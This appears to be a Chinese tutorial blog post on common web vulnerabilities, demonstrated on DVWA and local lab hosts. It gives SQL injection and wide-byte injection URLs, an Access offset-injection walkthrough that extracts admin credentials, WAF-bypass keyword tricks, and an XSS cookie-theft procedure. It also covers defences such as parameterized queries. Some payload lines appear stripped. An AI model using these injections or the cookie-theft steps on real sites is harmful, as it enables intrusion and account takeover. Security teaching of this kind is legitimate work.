web常见漏洞解析 注入 xss csrf 文件上传 文件包含 -dvwa演示

注(以下环境皆是自己在本机搭建,请勿在公网真实操作)

1.注入

1.1 SQL注入: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
手工注入:联合注入、盲注、延时注入等等
工具注入:sqlmap、啊D 等等
利用方法及其渗透思路,在前面的文章已经介绍过了:
https://blog.csdn.net/weixin_41516710/article/details/90740752
1.2 XML注入(XXE注入):
XML是The Extensible Markup Language(可扩展标识语言)的简写。XML最初设计的目的是弥补HTML的不足,后来逐渐用于网络数据的转换和描述。XML的设计宗旨是传输数据,而非显示数据。XML是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEM和PUBLIC两个关键字

目前,XML在WEB中的应用已经非常广泛。下面举一个简单的XML实例:


 

 
    
 
        admin
 
        admin
 

 
     
 
    root
 
   root
 

 

XML注入
XML与HTML一样,也存在注入攻击,甚至在注入的方法上也非常相似。
漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。
对于上面的xml文件,如果攻击者能够掌控password字段,那么就会产生XML注入,如攻击者输入:

admin hackhacker

最终的修改后的XML为:



 
     admin
     admin


     hack
     hacker

以上的代码相当于添加了一个名为hack、密码为:hacker的新的用户到管理员组内!

XML注入时的两大注意点:

(1)标签闭合(关键所在)
(2)获取XML的表结构
XML注入防御
(1)对用户的输入进行过滤
(2)对用户的输入进行转义
1.3 宽字节注入
当我们注入是使用的单引号、双引号等这些字符被转义时,这时我们可以用到宽字节注入。其原理很简单,代码对单引号、双引号等这些字符转义是使用“\”来转义,那么我们就让“\”失去原来的意思,我们只需在前面加个”%df”。因为ASCII码占用一个字节,GBK占用两个字节。在前端通常为一个字节的编码,服务器端为两字节的编码。“\”url编码为%5c,在前面加个%df,在后面加个引号,即 %5c\’ 会变成 %df%5c%27 。如果程序默认字符集是GBK这些两字节字符集的话,它会认为 %df%5c%27 是个宽字节,就解析成了 縗’ 。这是我们的单引号就绕过转义了。
POC:
http://127.0.0.1/index.php?id=1%df’ order by 2%23
在前面加个%df绕过转义,%23是注释符,也可以多加几个%df做引号闭合,看你怎么用了。
http://127.0.0.1/index.php?id=1%df’ union select 1,2,3%23
后面就和前面文章sql注入一样了。
1.4 Access数据库偏移注入
在注入时最烦的就是access数据库了,因为web权限低,没有对表的访问权限。在前面文章有access数据库的渗透具体过程。https://blog.csdn.net/weixin_41516710/article/details/90741228
那么access偏移注入是做什么用的呢?
它是在你知道数据库表名,但不知道列名时所用的。它可以直接爆破内容。
表名:admin
web常见漏洞解析 注入 xss csrf 文件上传 文件包含 -dvwa演示_第1张图片
列数26:(order by 26 返回正确,order by 27 返回错误)
web常见漏洞解析 注入 xss csrf 文件上传 文件包含 -dvwa演示_第2张图片
知道这些前提后,但在列名特别难爆破时,我们开始偏移注入。
先查看一下回显:(为2,3,7,9,15)
http://192.168.109.142/sql/ProductShow.asp?ID=114 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin
web常见漏洞解析 注入 xss csrf 文件上传 文件包含 -dvwa演示_第3张图片
我们开始爆admin中的字段,用来代替其中的字段:
http://192.168.109.142/sql/ProductShow.asp?ID=114 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,
from admin
web常见漏洞解析 注入 xss csrf 文件上传 文件包含 -dvwa演示_第4张图片
它会显示错误,我们不到减小数值,直到返回正确:
http://192.168.109.142/sql/ProductShow.asp?ID=114 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,* from admin
http://192.168.109.142/sql/ProductShow.asp?ID=114 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin

一直到23返回正确了,那么admin表中的字段就是3 因为26-23=3,其中就代表admin中的字段。
接下来利用内敛注入:
语句如下;
http://192.168.109.142/sql/ProductShow.asp?ID=114 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,
from (admin as a inner join admin as b on a.id=b.id)
web常见漏洞解析 注入 xss csrf 文件上传 文件包含 -dvwa演示_第5张图片
没有报错,说明语法是正确的。那么会问为什么这里到20,而不是到23呢?因为使用了内敛注入,通过表的自连接,这里就有了两个表的字段,就是两个admin表的字段,每个是3,那么26-3-3=20 。通常id是表中常有的字段,所以我们用id来自连接,加入你知道其中表的一些其它字段也可以用。
那么现在还没爆出里面的内容,因为这里的回显最高是15,我们还要再加几层自连接。
http://192.168.109.142/sql/ProductShow.asp?ID=114 union select 1,2,3,4,5,6,7,8,9,10,11,* from ((((admin as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)inner join admin as d on a.id=d.id)inner join admin as e on a.id=e.id)
根据计算,我们在前面加一点东西,打乱它的重组:
http://192.168.109.142/sql/ProductShow.asp?ID=114 union select 1,2,3,4,5,6,7,8,9,10,11,a.id,b.id,
from ((((admin as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)inner join admin as d on a.id=d.id)inner join admin as e on a.id=e.id)
web常见漏洞解析 注入 xss csrf 文件上传 文件包含 -dvwa演示_第6张图片

http://192.168.109.142/sql/ProductShow.asp?ID=114 union select 1,2,3,4,5,6,7,8,9,10,11,a.id,b.id,c.id,* from ((((admin as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)inner join admin as d on a.id=d.id)inner join admin as e on a.id=e.id)
web常见漏洞解析 注入 xss csrf 文件上传 文件包含 -dvwa演示_第7张图片
账号和密码就出来了,加这几个a.id,b.id,c.id是为了打乱它的重组,让这些id先显示,因为它是admin中的字段,回显15就会显示其它字段。
看看数据库,的确和我们爆破的一样:
在这里插入图片描述
注入防御
过滤,黑白名单
使用安全框架。使用安全函数
对数据库名,表名,列名 进行复杂化。是攻击者难以猜到。
最有效的防御SQL注入的方式是在所有的数据库操作上使用参数化查询(也被称为预编译)。预编译通过两步把可能存在危害的数据整合到SQL查询中。第一步,应用定义查询语句的结构,在语句中预留位置给用户输入。第二部,应用把每个位置需要的用户输入传递给数据库。因为第一步中,应用已经定义了语句的结构,数据库已经对语法进行了编译,第二部中及时传入恶意的用户输入也无法影响SQL语句的语意,从而避免了SQL注入攻击。对于不同的数据库和编程语言需要查询文档,寻找合适的api。强烈建议使用参数化处理SQL语句中的每一个变量。需要注意的是以下一些防御SQL注入的方式并不总是有效的,所以不建议大家使用以下的方式防御SQL注入:一种常见的方式是在用户数据拼接到SQL语句之前转义其中的单引号。这是为了避免用户插入单引号,改变了SQL的语法。但是如果变量类型是数字型,这种防御就可能失败。因为SQL语句结构中并没有单引号包裹变量的话,仅仅使用空格就可以改变语法结构。另一种常见的防御方案是使用存储过程。尽管存储过程提供了很多安全特性,但是并不能保证防御SQL注入。当存储过程中可以动态创建SQL结构的时候就可能会发生SQL注入
预处理
1、先看预处理的语法
$pdo->prepare(‘select * from biao1 where id=:id’);
$pdo->execute([’:id’=>4]);
2、语句一,服务器发送一条sql给mysql服务器,mysql服务器会解析这条sql。
语句二,服务器发送一条sql给mysql服务器,mysql服务器不会解析这条sql,只会把execute的参数当做纯参数赋值给语句一。哪怕参数中有sql命令也不会被执行,从而实现防治sql注入。
绕过防注入继续注入
大小写绕过:UniON SelEct username,fRoM admin
双写关键字:UnUnIoniON SeSELectlEct username,fRoM admin
双字节绕过:上面讲了

注释语句绕过(最常用)
用//代替空格,如:UNION // Select //username,from admin
用/
/分割敏感词,如:U// NION // SE// LECT //username from admin
内敛注释:/!And/ 1=1
多层内敛注释:/!/AnD//abd//ff// 1=1
%0a(回车)绕过:select%0a*%0afrom%0admin;
编码绕过:url编码,十六进制编码等等

2.Xss

Xss简单理解就是输入输出问题导致脚本语言的执行。
Xss分为3类:
非持久性:非持久性 XSS 也被称为反射性 XSS,是目前最普遍的类型,当攻击者提供了一些代码的时候, 服务器端马上就会返回页面的执行结果。比如输入一个url,服务器会解析这个url,并将解析结果返回给客户端。如果任何搜索的字符串都没有被 html 编码,假如在url后面加入恶意的js代码,服务器会执行这段代码,那么xss漏洞就产生了。

持久性 XSS:也叫做存储型 XSS。当攻击者提交到 web 应用 程序里的数据会永久性的存储到服务器的时候会产生这类漏洞,(比如数据库,文件系统,其他位置),之 后,如果没有经过 HTML 编码,当别人访问这个网页就会执行这段恶意代码。它的危害是很大的,因为它永久存储在服务器端。
基于 DOM 的 XSS:也叫做本地跨站,基于 html/xml 上叫做文档对象模型(DOM)的标准对象模型,这类 漏洞,问题出现在页面的客户端脚本上,比如,如果一个 javascript 脚本处理 url 请求参数,然后使用这 个参数值来显示给用户页面,没有经过任何编码,就会执行恶意代码。它与前面的不同的是,它不会经过服务器。
漏洞利用:
试探是否存在xss:
web常见漏洞解析 注入 xss csrf 文件上传 文件包含 -dvwa演示_第8张图片
登录到一个xss在线站点,比如:http://webxss.top/
注册登录创建一个项目
web常见漏洞解析 注入 xss csrf 文件上传 文件包含 -dvwa演示_第9张图片
管理员登录进去,查看留言
web常见漏洞解析 注入 xss csrf 文件上传 文件包含 -dvwa演示_第10张图片
我们就得到了管理员的cookie
web常见漏洞解析 注入 xss csrf 文件上传 文件包含 -dvwa演示_第11张图片
啊D注入工具:利用cookie登录进去
web常见漏洞解析 注入 xss csrf 文件上传 文件包含 -dvwa演示_第12张图片

Waf绕过:
大小写,双写关键字,字符拼接,编码,使用其他标签等等。这里不多说了,根据具体的防御,利用对应的绕过方式,这里写几个payload:


ript>alert(/xss/)




Unicode编码绕过


url编码绕过


Ascii码绕过

hex绕过

八进制

base64绕过